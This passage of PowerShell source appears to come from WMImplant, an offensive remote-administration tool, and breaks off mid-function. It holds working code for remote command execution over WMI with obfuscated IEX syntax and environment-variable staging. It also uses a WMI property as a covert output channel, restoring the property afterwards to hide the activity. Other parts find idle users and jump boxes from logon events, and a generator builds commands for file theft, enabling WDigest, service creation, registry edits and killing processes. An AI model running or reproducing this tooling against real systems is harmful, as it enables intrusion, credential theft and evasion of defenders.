82 | [Parameter(Mandatory = $False)]
83 | [System.Management.Automation.PSCredential]$Credential,
84 | [Parameter(Mandatory = $True)]
85 | [String]$PSCommand,
86 | [Parameter(Mandatory = $True)]
87 | [String]$ComputerName,
88 | [Parameter(Mandatory = $False)]
89 | [Switch]$ObfuscateWithEnvVar
90 | )
91 |
92 | Process
93 | {
94 | # Generate randomized and obfuscated syntax for retrieving PowerShell command from an environment variable if $ObfuscateWithEnvVar flag was defined.
95 | if($ObfuscateWithEnvVar)
96 | {
97 | # Create random alphanumeric environment variable name.
98 | $VarName = -join (Get-Random -Input ((((65..90) + (97..122) | % {[char]$_})) + (0..9)) -Count 5)
99 |
100 | # Randomly select obfuscated syntax for invoking the contents of the randomly-named environment variable.
101 | # More complete obfuscation options can be imported from Invoke-Obfuscation.
102 | $DGGetChildItemSyntaxRandom = Get-Random -Input @('Get-C`hildItem','Child`Item','G`CI','DI`R','L`S')
103 | $DGGetCommandSyntaxRandom = Get-Random -Input @('Get-C`ommand','Co`mmand','G`CM')
104 | $DGInvokeSyntaxRandom = Get-Random -Input @('IE`X','Inv`oke-Ex`pression',".($DGGetCommandSyntaxRandom ('{1}e{0}'-f'x','i'))")
105 |
106 | $DGEnvVarSyntax = @()
107 | $DGEnvVarSyntax += "(" + $DGGetChildItemSyntaxRandom + " env:$VarName).Value"
108 | $DGEnvVarSyntax += "`$env:$VarName"
109 | $DGEnvVarSyntaxRandom = (Get-Random -Input $DGEnvVarSyntax)
110 |
111 | $DGInvokeEnvVarSyntax = @()
112 | $DGInvokeEnvVarSyntax += $DGInvokeSyntaxRandom + ' ' + $DGEnvVarSyntaxRandom
113 | $DGInvokeEnvVarSyntax += $DGEnvVarSyntaxRandom + '|' + $DGInvokeSyntaxRandom
114 | $DGInvokeEnvVarSyntaxRandom = (Get-Random -Input $DGInvokeEnvVarSyntax)
115 |
116 | $PSCommandForCommandLine = $DGInvokeEnvVarSyntaxRandom
117 | }
118 | else
119 | {
120 | $PSCommandForCommandLine = $PSCommand
121 | }
122 |
123 | # Set final PowerShell command to be executed by WMI.
124 | $ObfuscatedCommand = "powershell $PSCommandForCommandLine"
125 |
126 | # Extract username if $Credential were specified. Otherwise use current username.
127 | if($Credential)
128 | {
129 | $Username = $Credential.UserName
130 | }
131 | else
132 | {
133 | $Username = $env:USERNAME
134 | }
135 |
136 | # Set PowerShell command in an environment variable if $ObfuscateWithEnvVar flag was defined.
137 | if($ObfuscateWithEnvVar)
138 | {
139 | if($Credential)
140 | {
141 | $null = Set-WmiInstance -Class Win32_Environment -Argument @{Name=$VarName;VariableValue=$PSCommand;UserName=$Username} -ComputerName $ComputerName -Credential $Credential
142 | }
143 | else
144 | {
145 | $null = Set-WmiInstance -Class Win32_Environment -Argument @{Name=$VarName;VariableValue=$PSCommand;UserName=$Username} -ComputerName $ComputerName
146 | }
147 | }
148 |
149 | # Launch PowerShell command.
150 | if($Credential)
151 | {
152 | $null = Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $ObfuscatedCommand -Credential $Credential -ComputerName $ComputerName
153 | }
154 | else
155 | {
156 | $null = Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $ObfuscatedCommand -ComputerName $ComputerName
157 | }
158 |
159 | # Delete environment variable containing PowerShell command if $ObfuscateWithEnvVar flag was defined.
160 | if($ObfuscateWithEnvVar)
161 | {
162 | if($Credential)
163 | {
164 | $null = Get-WmiObject -Query "SELECT * FROM Win32_Environment WHERE NAME='$VarName'" -ComputerName $ComputerName -Credential $Credential | Remove-WmiObject
165 | }
166 | else
167 | {
168 | $null = Get-WmiObject -Query "SELECT * FROM Win32_Environment WHERE NAME='$VarName'" -ComputerName $ComputerName | Remove-WmiObject
169 | }
170 | }
171 |
172 | <#DELETE BELOW BLOCK FOR FINAL RELEASE#>
173 | $ShowFunFactsForPOV = $False
174 | if($ShowFunFactsForPOV -AND $ObfuscateWithEnvVar)
175 | {
176 | Write-Host "`n`nHere's what just happened:" -ForegroundColor White
177 | Write-Host "Random env var NAME :: " -NoNewLine -ForegroundColor White
178 | Write-Host $VarName -ForegroundColor Cyan
179 | Write-Host "Env var VALUE :: " -NoNewLine -ForegroundColor White
180 | Write-Host $PSCommand -ForegroundColor Cyan
181 | Write-Host "PS cmdline launcher :: " -NoNewLine -ForegroundColor White
182 | Write-Host $ObfuscatedCommand -ForegroundColor Green
183 | }
184 | <#DELETE ABOVE BLOCK FOR FINAL RELEASE#>
185 |
186 | } # End of Process Block
187 | end{}
188 | } # End of Function block
189 |
190 | function Find-CurrentUsers
191 | {
192 | <# This function list user accounts with active processes
193 | on the targeted system #>
194 | param
195 | (
196 | [Parameter(Mandatory = $False)]
197 | [System.Management.Automation.PSCredential]$Credential,
198 | [Parameter(Mandatory = $True)]
199 | [string]$ComputerName
200 | )
201 |
202 | Process
203 | {
204 |
205 | Write-Verbose "Connecting to $ComputerName"
206 |
207 | $system_process_accounts = Get-WMIObject Win32_Process @PSBoundParameters | ForEach { $owner = $_.GetOwner(); '{0}\{1}' -f $owner.Domain, $owner.User } | Sort-Object | Get-Unique
208 |
209 | foreach($user_name in $system_process_accounts)
210 | {
211 | if((!($user_name -Like "*NT AUTHORITY*")) -and ($user_name -ne '\'))
212 | {
213 | $user_name
214 | }
215 | }
216 | }
217 | }
218 |
219 | function Find-VacantComputer
220 | {
221 | # This function gathers running processes on the targeted system and tries to find
222 | # a screensaver or windows login process. It also attempts to enumerate active accounts
223 | # on the targeted system through Win32_computersystem
224 | param
225 | (
226 | #Parameter assignment
227 | [Parameter(Mandatory = $False)]
228 | [System.Management.Automation.PSCredential]$Credential,
229 | [Parameter(Mandatory = $True)]
230 | [string]$ComputerName
231 | )
232 |
233 | Process
234 | {
235 |
236 | # Need to add in filtering here to stop if a "true" has been found for screensavers being active
237 | Write-Verbose "Connecting to $ComputerName"
238 |
239 | Write-Verbose "Checking for active screensaver or logon screen processes"
240 |
241 | $all_processes = Get-ProcessListingWMImplant @PSBoundParameters
242 |
243 | $ScreenshotActive = $all_processes | Select-String ".scr"
244 | $LoginPrompt = $all_processes | Select-String "LogonUI.exe"
245 |
246 | # If either returned true, we can assume the user is not active at their desktop
247 | if ($ScreenshotActive -or $LoginPrompt)
248 | {
249 | Write-Output "Screensaver or Logon screen is active on $ComputerName!"
250 | }
251 | else
252 | {
253 | Write-Output "User is at present at $ComputerName!"
254 | }
255 |
256 | try
257 | {
258 | $user = Get-WmiObject -Class win32_computersystem @PSBoundParameters -ErrorAction Stop | select -ExpandProperty username
259 |
260 | if($user)
261 | {
262 | Write-Output "$user has a session on $ComputerName!"
263 | }
264 | }
265 | catch
266 | {
267 | $message = $_.Exception.Message
268 | if($message -like '*not process argument because*')
269 | {
270 | Write-Output "No users appear active on $ComputerName"
271 | }
272 | elseif($message -like '*RPC server is unavailable*')
273 | {
274 | Write-Verbose "Cannot connect to $ComputerName"
275 | }
276 | }
277 | }
278 | }
279 |
280 | function Get-ComputerDrives
281 | {
282 | # This function attempts to list local and network drives attached to the
283 | # targeted system
284 | param
285 | (
286 | #Parameter assignment
287 | [Parameter(Mandatory = $False)]
288 | [System.Management.Automation.PSCredential]$Credential,
289 | [Parameter(Mandatory = $True)]
290 | [string]$ComputerName
291 | )
292 |
293 | Process
294 | {
295 | $filter = "DriveType = '4' OR DriveType = '3'"
296 |
297 | Get-WmiObject -class win32_logicaldisk @PSBoundParameters -Filter $filter
298 | }
299 | end{}
300 | }
301 |
302 | function Get-HostInfo
303 | {
304 | # This function attempts to gather basic information about the targeted system
305 | param
306 | (
307 | #Parameter assignment
308 | [Parameter(Mandatory = $False)]
309 | [System.Management.Automation.PSCredential]$Credential,
310 | [Parameter(Mandatory = $True)]
311 | [string]$ComputerName
312 | )
313 |
314 | Process
315 | {
316 | try
317 | {
318 | $sys_info = Get-WmiObject -class win32_computersystem @PSBoundParameters -ErrorAction Stop
319 | }
320 | catch
321 | {
322 | Continue
323 | }
324 |
325 | if($sys_info.Name)
326 | {
327 | $sys_info
328 | }
329 | }
330 | end{}
331 | }
332 |
333 | function Get-InstalledPrograms
334 | {
335 | # This functions retrieves applications that have been installed on the targeted system
336 | param
337 | (
338 | #Parameter assignment
339 | [Parameter(Mandatory = $False)]
340 | [System.Management.Automation.PSCredential]$Credential,
341 | [Parameter(Mandatory = $True)]
342 | [string]$ComputerName
343 | )
344 |
345 | Process
346 | {
347 |
348 | # Store data in existing WMI property, but keep original value
349 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration @PSBoundParameters).DebugFilePath
350 |
351 | Write-Verbose "Running remote command and writing to WMI property"
352 | $remote_command = '$fct = (Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | format-list | out-string).Trim(); $fctenc=[Int[]][Char[]]$fct -Join '',''; $a = Get-WMIObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $fctenc; $a.Put()'
353 |
354 | Invoke-WMIObfuscatedPSCommand @PSBoundParameters -PSCommand $remote_command -ObfuscateWithEnvVar
355 |
356 | # Poll remote system, and determine if the script is done
357 | # If not, sleep and poll again
358 | $quit = $false
359 | while($quit -eq $false)
360 | {
361 | Write-Verbose "Polling property to see if the script has completed"
362 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration @PSBoundParameters
363 |
364 | try
365 | {
366 | if($Original_WMIProperty -match $modified_WMIObject.DebugFilePath)
367 | {
368 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
369 | Start-Sleep -s 5
370 | }
371 | else
372 | {
373 | Write-Verbose "Script is complete, pulling data now"
374 | $quit = $true
375 | }
376 | }
377 | catch
378 | {
379 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
380 | Start-Sleep -s 5
381 | }
382 | }
383 |
384 | # This is the encoding routine which encodes data in a Device Guard compliant manner
385 | $decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
386 | # Print to console
387 | $decode
388 |
389 | # Replacing original WMI property value from remote system
390 | Write-Verbose "Replacing original WMI property value from remote system"
391 |
392 | $modified_WMIObject.DebugFilePath = $Original_WMIProperty
393 | $null = $modified_WMIObject.Put()
394 |
395 | Write-Verbose "Done!"
396 | }
397 | end{}
398 | }
399 |
400 | function Get-NetworkCards
401 | {
402 | # This function is designed to check for actie IPs on remote Systems
403 | # and print any systems with multiple NICs
404 | param
405 | (
406 | #Parameter assignment
407 | [Parameter(Mandatory = $False)]
408 | [System.Management.Automation.PSCredential]$Credential,
409 | [Parameter(Mandatory = $False)]
410 | [string]$ComputerName
411 | )
412 |
413 | Process
414 | {
415 | $adapters = Get-WmiObject -class win32_networkadapterconfiguration @PSBoundParameters
416 |
417 | foreach($nic in $adapters)
418 | {
419 | if($nic.IPAddress -ne $null)
420 | {
421 | $nic
422 | }
423 | }
424 | }
425 | end{}
426 | }
427 |
428 | function Get-ProcessListingWMImplant
429 | {
430 | # This function lists all running processes on the targeted system
431 | param
432 | (
433 | #Parameter assignment
434 | [Parameter(Mandatory = $False)]
435 | [System.Management.Automation.PSCredential]$Credential,
436 | [Parameter(Mandatory = $False)]
437 | [string]$ComputerName
438 | )
439 |
440 | Process
441 | {
442 | Write-Verbose "Connecting to $ComputerName"
443 |
444 | Get-WMIObject Win32_Process @PSBoundParameters | ForEach-Object { $_.ProcessName, $_.ProcessID }
445 | }
446 | }
447 |
448 | function Get-WMIEventLogins
449 | {
450 | <#
451 | .DESCRIPTION
452 | Will get remote login details from event log on remote hosts.
453 | This can be used to find out where people are logging in from or
454 | to find jump boxes.
455 |
456 | .PARAMETER ComputerName
457 | List of targets. Will accept value from pipe.
458 |
459 | .PARAMETER User
460 | Username to connect to remote host
461 |
462 | .PARAMETER Pass
463 | Password to connect to remote host
464 |
465 | .PARAMETER FileName
466 | Path to save output to
467 | #>
468 |
469 | Param
470 | (
471 | # Parameter Assignment
472 | [Parameter(Mandatory = $False)]
473 | [System.Management.Automation.PSCredential]$Credential,
474 | [Parameter(Mandatory = $True)]
475 | [string]$ComputerName,
476 | [Parameter(Mandatory = $False)]
477 | [string]$FileName
478 | )
479 |
480 | Process {
481 |
482 | Write-Verbose "Connecting to $ComputerName"
483 |
484 | if($Credential)
485 | {
486 | $results = Get-WmiObject -Credential $Credential -ComputerName $ComputerName -query "SELECT * FROM Win32_NTLogEvent WHERE (logfile='security') AND (EventCode='4624')" | where { $_.Message | Select-String "Logon Type:\s+(2|10)" | Select-String "Logon Process:\s+User32"}
487 | }
488 |
489 | else
490 | {
491 | $results = Get-WmiObject -ComputerName $ComputerName -query "SELECT * FROM Win32_NTLogEvent WHERE (logfile='security') AND (EventCode='4624')" | where { $_.Message | Select-String "Logon Type:\s+(2|10)" | Select-String "Logon Process:\s+User32"}
492 | }
493 |
494 | $temp2 = @()
495 | ForEach ($line in $results)
496 | {
497 | $importantPart = $line.Message -split "New Logon"
498 | $temp2 += $importantPart[1] -split '[\r\n]' | Select-String -pattern "account name:", "workstation name:", "source network address:"
499 | }
500 |
501 | $finalResult = @();
502 | For($i=0; $i -lt $temp2.Count; $i+=4) {
503 | $accountName = ([string]($temp2[$i+0])).Split(":")[1].Trim();
504 | $workstationName = ([string]($temp2[$i+2])).Split(":")[1].Trim();
505 | $sourceAddress = ([string]($temp2[$i+3])).Split(":")[1].Trim();
506 |
507 | if (!($accountName.EndsWith('$')) -and ($accountName -ne '-') -and ($accountName -match '^[^0-9]+$')) {
508 | $keyPair = "$accountName,$workstationName,$sourceAddress";
509 | $finalResult += $keyPair
510 | }
511 | }
512 | Write-Output "User Account, System Connecting To, System Connecting From"
513 | $finalResult | Sort-Object -Unique
514 |
515 | if($FileName)
516 | {
517 | $results | Out-File -Encoding ASCII -FilePath $FileName
518 | }
519 | }
520 | }
521 |
522 | function Invoke-CommandExecution
523 | {
524 | # This function allows you to run a command-line command on the targeted system and
525 | # receive its output
526 | param
527 | (
528 | #Parameter assignment
529 | [Parameter(Mandatory = $False)]
530 | [System.Management.Automation.PSCredential]$Credential,
531 | [Parameter(Mandatory = $True)]
532 | [string]$ComputerName,
533 | [Parameter(Mandatory = $False)]
534 | [string]$ExecCommand
535 | )
536 |
537 | Process
538 | {
539 | if(!$ExecCommand)
540 | {
541 | $ExecCommand = Read-Host "Please provide the command you'd like to run >"
542 | }
543 |
544 | # Get original WMI Property
545 | if($Credential)
546 | {
547 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential).DebugFilePath
548 | }
549 | else
550 | {
551 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName).DebugFilePath
552 | }
553 |
554 | Write-Verbose "Building PowerShell command"
555 |
556 | $remote_command = '$output = '
557 | $remote_command += "($ExecCommand | Out-String).Trim();"
558 | $remote_command += ' $EncodedText = [Int[]][Char[]]$output -Join '','';'
559 | $remote_command += ' $a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $EncodedText; $a.Put()'
560 |
561 | Write-Verbose "Running command on remote system..."
562 |
563 | if($Credential)
564 | {
565 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
566 | }
567 | else
568 | {
569 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
570 | }
571 |
572 | # Poll remote system, and determine if the script is done
573 | # If not, sleep and poll again
574 | $quit = $false
575 | while($quit -eq $false)
576 | {
577 | Write-Verbose "Polling property to see if the script has completed"
578 | if($Credential)
579 | {
580 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential
581 | }
582 | else
583 | {
584 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName
585 | }
586 |
587 | try
588 | {
589 | if($Original_WMIProperty -match $modified_WMIObject.DebugFilePath)
590 | {
591 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
592 | Start-Sleep -s 5
593 | }
594 | else
595 | {
596 | Write-Verbose "Script is complete, pulling data now"
597 | $quit = $true
598 | }
599 | }
600 | catch
601 | {
602 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
603 | Start-Sleep -s 5
604 | }
605 | }
606 |
607 | $decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
608 | # Print to console
609 | $decode
610 |
611 | # Replacing WMI Property
612 | Write-Verbose "Replacing WMI Property"
613 |
614 | $modified_WMIObject.DebugFilePath = $Original_WMIProperty
615 | $null = $modified_WMIObject.Put()
616 |
617 | Write-Verbose "Done!"
618 | }
619 | }
620 |
621 | function Invoke-CommandGeneration
622 | {
623 | param
624 | (
625 | #Parameter assignment
626 | [Parameter(Mandatory = $True)]
627 | [string]$ComputerName
628 | )
629 |
630 | # This function generates the command line command users would run to invoke WMImplant
631 | # in a non-interactive manner
632 | Show-WMImplantMainMenu
633 |
634 | # Read in user's menu choice
635 | $GenSelection = Read-Host "What is the command you'd like to run? >"
636 | $GenSelection = $GenSelection.Trim().ToLower()
637 |
638 | $AnyCreds = Read-Host "Do you want to run this in the context of a different user? [yes] or [no]? >"
639 | $AnyCreds = $AnyCreds.Trim().ToLower()
640 |
641 | if(($AnyCreds -eq "yes") -or ($AnyCreds -eq "y"))
642 | {
643 | # Query user for user account and password to use
644 | $GenUsername = Read-Host "Please provide the domain\username to use for authentication >"
645 | $GenPassword = Read-Host "Please provide the password to use for authentication >"
646 | }
647 |
648 | # hashmap for command generation
649 | $wmimplant_commands = @{"set_default" = "`nInvoke-WMImplant -SetWMIDefault";
650 | "cat" = "`nInvoke-WMImplant -Cat -RemoteFile ";
651 | "copy" = "`nInvoke-WMImplant -Copy -LocalFile ";
652 | "delete" = "`nInvoke-WMImplant -Delete -LocalFile ";
653 | "download" = "`nInvoke-WMImplant -Download ";
654 | "ls" = "`nInvoke-WMImplant -LS -RemoteDirectory ";
655 | "search" = "`nInvoke-WMImplant -Search ";
656 | "upload" = "`nInvoke-WMImplant -Upload -LocalFile ";
657 | "command_exec" = "`nInvoke-WMImplant -CommandExec -RemoteCommand ";
658 | "disable_wdigest" = "`nInvoke-WMImplant -DisableWdigest";
659 | "disable_winrm" = "`nInvoke-WMImplant -DisableWinRM";
660 | "enable_wdigest" = "`nInvoke-WMImplant -EnableWdigest";
661 | "enable_winrm" = "`nInvoke-WMImplant -EnableWinRM";
662 | "registry_mod" = "`nInvoke-WMImplant ";
663 | "remote_posh" = "`nInvoke-WMImplant -RemotePosh ";
664 | "service_mod" = "`nInvoke-WMImplant ";
665 | "process_kill" = "`nInvoke-WMImplant -ProcessKill ";
666 | "process_start" = "`nInvoke-WMImplant -ProcessStart -RemoteFile ";
667 | "ps" = "`nInvoke-WMImplant -PS";
668 | "active_users" = "`nInvoke-WMImplant -ActiveUsers";
669 | "basic_info" = "`nInvoke-WMImplant -BasicInfo";
670 | "drive_list" = "`nInvoke-WMImplant -DriveList";
671 | "ifconfig" = "`nInvoke-WMImplant -IFConfig";
672 | "installed_programs" = "`nInvoke-WMImplant -InstalledPrograms";
673 | "logon_events" = "`nInvoke-WMImplant -LogonEvents";
674 | "logoff" = "`nInvoke-WMImplant -LogOff";
675 | "reboot" = "`nInvoke-WMImplant -Reboot";
676 | "poweroff" = "`nInvoke-WMImplant -PowerOff";
677 | "vacant_system" = "`nInvoke-WMImplant -VacantSystem"
678 | }
679 |
680 | switch ($GenSelection)
681 | {
682 | "change_user"
683 | {
684 | Throw "This really isn't applicable unless you are using WMImplant interactively."
685 | }
686 |
687 | "exit"
688 | {
689 | Throw "This command isn't applicable unless using WMImplant interactively"
690 | }
691 |
692 | "gen_cli"
693 | {
694 | Throw "You are already generating a command!"
695 | }
696 |
697 | "set_default"
698 | {
699 | $Command = $wmimplant_commands.Get_Item("set_default")
700 | }
701 |
702 | "help"
703 | {
704 | Throw "You are already looking at the help menu!"
705 | }
706 |
707 | "cat"
708 | {
709 | $Command = $wmimplant_commands.Get_Item("cat")
710 | $FileRead = Read-Host "What's the full path to the file you'd like to read? >"
711 | $Command += $FileRead
712 | }
713 |
714 | "copy"
715 | {
716 | $Command = $wmimplant_commands.Get_Item("copy")
717 | $FiletoCopy = Read-Host "What's the full path to the file you'd like to copy? >"
718 | $CopytoLocation = Read-Host "What's the full path to where you'd like to copy the file? >"
719 | $Command += "$FiletoCopy -RemoteFile $CopytoLocation"
720 | }
721 |
722 | "delete"
723 | {
724 | $Command = $wmimplant_commands.Get_Item("delete")
725 | $FiletoDelete = Read-Host "What's the full path to the file you'd like to delete? >"
726 | $Command += "$FiletoDelete"
727 | }
728 |
729 | "download"
730 | {
731 | # Determine which file you want to download, and where to save it
732 | $GenDownload = Read-Host "What is the full path to the file you want to download? >"
733 | $GenSavePath = Read-Host "What is the full path to where you'd like to save the file? >"
734 |
735 | $Command = $wmimplant_commands.Get_Item("download")
736 | $Command += "-RemoteFile $GenDownload -LocalFile $GenSavePath"
737 | }
738 |
739 | "ls"
740 | {
741 | $DirLs = Read-Host "What is the full path to the directory you want to list? >"
742 | $Command = $wmimplant_commands.Get_Item("ls")
743 | $Command += "$DirLs"
744 | }
745 |
746 | "search"
747 | {
748 | $SearchBy = Read-Host "Do you want to search for a file [extension] or [name]? >"
749 | $SearchBy = $SearchBy.Trim().ToLower()
750 | $SearchDrive = Read-Host "What drive do you want to search? Ex C: >"
751 | $SearchDrive = $SearchDrive.Trim().ToLower()
752 | $Command = $wmimplant_commands.Get_Item("search")
753 | $Command += "-RemoteDrive $SearchDrive "
754 |
755 | if($SearchBy -eq "extension")
756 | {
757 | $SearchExt = Read-Host "What is the file extension you are looking for? >"
758 | $SearchExt = $SearchExt.Trim().ToLower()
759 | $Command += "-RemoteExtension $SearchExt"
760 | }
761 | else
762 | {
763 | $SearchFile = Read-Host "What is the file name you are looking for? >"
764 | $SearchFile = $SearchFile.Trim().ToLower()
765 | $Command += "-RemoteFile $SearchFile"
766 | }
767 | }
768 |
769 | "upload"
770 | {
771 | $FileToUpload = Read-Host "Please provide the full path to the local file you want to upload >"
772 | $UploadLocation = Read-Host "Please provide the full path to the location you'd like to upload the file >"
773 | $Command = $wmimplant_commands.Get_Item("upload")
774 | $Command += "$FileToUpload -RemoteFile $UploadLocation"
775 | }
776 |
777 | "command_exec"
778 | {
779 | $GenCommandExec = Read-Host "What command do you want to run on the remote system? >"
780 | $Command = $wmimplant_commands.Get_Item("command_exec")
781 | $Command += "`"$GenCommandExec`""
782 | }
783 |
784 | "disable_wdigest"
785 | {
786 | $Command = $wmimplant_commands.Get_Item("disable_wdigest")
787 | }
788 |
789 | "disable_winrm"
790 | {
791 | $Command = $wmimplant_commands.Get_Item("disable_winrm")
792 | }
793 |
794 | "enable_wdigest"
795 | {
796 | $Command = $wmimplant_commands.Get_Item("enable_wdigest")
797 | }
798 |
799 | "enable_winrm"
800 | {
801 | $Command = $wmimplant_commands.Get_Item("enable_winrm")
802 | }
803 |
804 | "registry_mod"
805 | {
806 | $GenRegMethod = Read-Host "Do you want to [create] or [delete] a string registry value? >"
807 | $GenRegMethod = $GenRegMethod.Trim().ToLower()
808 | $GenRegHive = Read-Host "What hive would you like to modify? Ex: hklm >"
809 | $GenRegKey = Read-Host "What's the registry key you'd like to modify? Ex: SOFTWARE\Microsoft\Windows >"
810 | $GenRegValue = Read-Host "What's the registry subkey you'd like to modify? Ex: WMImplantInstalled >"
811 | $Command = $wmimplant_commands.Get_Item("registry_mod")
812 |
813 | switch($GenRegMethod)
814 | {
815 | "create"
816 | {
817 | $GenRegData = Read-Host "What's the data you'd like to modify? >"
818 | $Command += "-KeyCreate -RegHive $GenRegHive -RegKey $GenRegKey -RegSubKey $GenRegValue -RegValue $GenRegData"
819 | }
820 |
821 | "delete"
822 | {
823 | $Command += "-KeyDelete -RegHive $GenRegHive -RegKey $GenRegKey -RegSubKey $GenRegValue"
824 | }
825 | }
826 | }
827 |
828 | "remote_posh"
829 | {
830 | $PoshLocation = Read-Host "What's the file location where the PowerShell script you want to run is located? >"
831 | $PoshFunction = Read-Host "What's the PowerShell Function you'd like to call? >"
832 | $Command = $wmimplant_commands.Get_Item("remote_posh")
833 | $Command += "-Location $PoshLocation -Function $PoshFunction"
834 | }
835 |
836 | "service_mod"
837 | {
838 | $GenServiceAction = Read-Host "Do you want to [start], [stop], [create], or [delete] a service? >"
839 | $GenServiceAction = $GenServiceAction.Trim().ToLower()
840 | $GenServiceName = Read-Host "What is the name of the service? >"
841 | $Command = $wmimplant_commands.Get_Item("service_mod")
842 | $Command += "-ServiceName $GenServiceName "
843 |
844 | switch($GenServiceAction)
845 | {
846 | "start"
847 | {
848 | $Command += "-ServiceStart "
849 | }
850 |
851 | "stop"
852 | {
853 | $Command += "-ServiceStop "
854 | }
855 |
856 | "delete"
857 | {
858 | $Command += "-ServiceDelete "
859 | }
860 |
861 | "create"
862 | {
863 | $GenServicePath = Read-Host "What's the full path to the binary that will be used by the service?"
864 | $Command += "-ServiceCreate -RemoteFile $GenServicePath"
865 | }
866 | }
867 | }
868 |
869 | "process_kill"
870 | {
871 | $GenKillMethod = Read-Host "Do you want to kill a process by its [name] or [pid]? >"
872 | $GenKillMethod = $GenKillMethod.Trim().ToLower()
873 | $Command = $wmimplant_commands.Get_Item("process_kill")
874 |
875 | switch($GenKillMethod)
876 | {
877 | "name"
878 | {
879 | $GenProcName = Read-Host "What's the name of the process you want to kill? >"
880 | $Command += "-ProcessName $GenProcName"
881 | }
882 |
883 | "pid"
884 | {
885 | $GenProcID = Read-Host "What's the Process ID of the process you want to kill? >"
886 | $Command += "-ProcessID $GenProcID"
887 | }
888 | }
889 | }
890 |
891 | "process_start"
892 | {
893 | $GenProcPath = Read-Host "What's the path to the binary you want to run? >"
894 | $Command = $wmimplant_commands.Get_Item("process_start")
895 | $Command += "$GenProcPath"
896 | }
897 |
898 | "ps"
899 | {
900 | $Command = $wmimplant_commands.Get_Item("ps")
901 | }
902 |
903 | "active_users"
904 | {
905 | $Command = $wmimplant_commands.Get_Item("active_users")
906 | }
907 |
908 | "basic_info"
909 | {
910 | $Command = $wmimplant_commands.Get_Item("basic_info")
911 | }
912 |
913 | "drive_list"
914 | {
915 | $Command = $wmimplant_commands.Get_Item("drive_list")
916 | }
917 |
918 | "ifconfig"
919 | {
920 | $Command = $wmimplant_commands.Get_Item("ifconfig")
921 | }
922 |
923 | "installed_programs"
924 | {
925 | $Command = $wmimplant_commands.Get_Item("installed_programs")
926 | }
927 |
928 | "logon_events"
929 | {
930 | $GenSaveFile = Read-Host "Do you want to save the log output to a file? [yes/no] >"
931 | $GenSaveFile = $GenSaveFile.Trim().ToLower()
932 | $Command = $wmimplant_commands.Get_Item("logon_events")
933 |
934 | if($GenSaveFile -eq "yes")
935 | {
936 | $GenFileSave = Read-Host "What's the full path to where you'd like the output saved? >"
937 | $GenFileSave = $GenFileSave.Trim()
938 | $Command += " -LocalFile $GenFileSave"
939 | }
940 | }
941 |
942 | "logoff"
943 | {
944 | $Command = $wmimplant_commands.Get_Item("logoff")
945 | }
946 |
947 | "reboot"
948 | {
949 | $Command = $wmimplant_commands.Get_Item("reboot")
950 | }
951 |
952 | "power_off"
953 | {
954 | $Command = $wmimplant_commands.Get_Item("power_off")
955 | }
956 |
957 | "vacant_system"
958 | {
959 | $Command = $wmimplant_commands.Get_Item("vacant_system")
960 | }
961 |
962 | default
963 | {
964 | Write-Output "You did not select a valid command! Please try again!"
965 | }
966 | } #End of switch
967 |
968 | if($Command -ne '')
969 | {
970 | if(($AnyCreds -eq "yes") -or ($AnyCreds -eq "y"))
971 | {
972 | $Command += " -RemoteUser $GenUsername -RemotePass $GenPassword`n"
973 | }
974 |
975 | # See if user is reading in computers from a file
976 | $FileInput = Read-Host "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >"
977 | $FileInput = $FileInput.Trim().ToLower()
978 | if(($FileInput -ceq 'y') -or ($FileInput -ceq 'yes'))
979 | {
980 | $ComputerPath = Read-Host "What is the full path to the file containing a list of computers? >"
981 | $Command = $Command.Trim()
982 | $Command = "Get-Content $ComputerPath | $Command"
983 | }
984 | else
985 | {
986 | $Command += " -ComputerName $ComputerName"
987 | }
988 |
989 | # Print command
990 | $Command
991 | }
992 |
993 | } #End of Function
994 |
995 | function Invoke-ProcessPunisher
996 | {
997 | # This function kills a process on the targeted system via name or PID
998 | param
999 | (
1000 | #Parameter assignment
1001 | [Parameter(Mandatory = $False)]
1002 | [System.Management.Automation.PSCredential]$Credential,
1003 | [Parameter(Mandatory = $True)]
1004 | [string]$ComputerName,
1005 | [Parameter(Mandatory = $False)]
1006 | [string]$PName,
1007 | [Parameter(Mandatory = $False)]
1008 | [string]$ProcId
1009 | )
1010 |
1011 | Process
1012 | {
1013 | if(!$PName -and !$ProcId)
1014 | {
1015 | $kill_method = Read-Host "Do you want to kill a process by [name] or [pid]? >"
1016 | $kill_method = $kill_method.Trim().ToLower()
1017 |
1018 | if($kill_method -eq "name")
1019 | {
1020 | $PName = Read-Host "What is the name of the process you want to kill? >"
1021 | $PName = $PName.Trim().ToLower()
1022 | }
1023 | elseif($kill_method -eq "pid")
1024 | {
1025 | $ProcID = Read-Host "What is the process id you want to kill? >"
1026 | $ProcID = $ProcID.Trim().ToLower()
1027 | }
1028 | else
1029 | {
1030 | Throw "You need to kill a process by its name or PID!"
1031 | }
1032 | }
1033 |
1034 | if($PName)
1035 | {
